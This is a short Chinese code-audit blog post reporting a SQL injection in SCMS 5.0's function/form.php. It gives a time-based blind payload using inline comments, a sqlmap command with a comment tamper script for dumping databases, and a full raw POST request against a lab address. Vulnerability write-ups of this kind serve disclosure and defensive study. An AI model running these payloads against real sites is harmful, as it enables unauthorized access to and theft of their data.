SCMS代码审计-SQL注入

F12sec

发布于 2022-09-29 19:27:43

1.7K0

文章被收录于专栏：F12secF12sec

scms5.0存在sql注入

存在问题脚本：s-cms/function/form.php

$action接受input的参数

如果x>0则执行下面的语句，这里

用内联注释组合既可构造语句为：/function/form.php?action=input

Post数据：1/**/and/**/sleep(10)=xxx

Post传输查看返回事件

返回为十秒可以，用sqlmap进行跑包测试

sqlmap -r post1 –dbs  –tamper=space2comment.py

数据包

POST /com//function/form.php?action=input HTTP/1.1
Host: 192.168.3.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.3.129/com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Connection: close
Cookie: PHPSESSID=jomeavq2f349ssp336uu4foch1; 
Hm_lvt_b60316de6009d5654de7312f772162be=1599322523; 
Hm_lpvt_b60316de6009d5654de7312f772162be=1599322523
Upgrade-Insecure-Requests: 1
1*=xxx

成功拿到数据